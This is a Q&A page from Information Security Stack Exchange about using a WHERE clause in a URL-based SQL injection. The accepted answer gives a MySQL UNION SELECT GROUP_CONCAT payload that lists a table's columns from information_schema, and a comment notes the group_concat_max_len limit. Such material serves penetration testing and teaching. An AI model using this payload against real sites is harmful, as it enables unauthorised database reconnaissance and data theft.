Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.


How can i use "Where" statement during an sql-injection attack in address bar ?
for example:

... from+information_schema.TABLES+where+TABLE_SCHEMA+=+XXXX--

The code above does not work.

share|improve this question

1 Answer 1

up vote 2 down vote accepted

You can retrieve the columns for a specific table with this request :

UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

Source : http://www.websec.ca/kb/sql_injection#MySQL_Tables_And_Columns

share|improve this answer
    
Does GROUP_CONCAT() has any limit in number of rows? –  Siamak A.Motlagh Oct 8 '12 at 13:37
1  
@Siamak.A.M No, but it has a character length limit. See group_concat_max_len –  Zzz Oct 8 '12 at 18:47

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.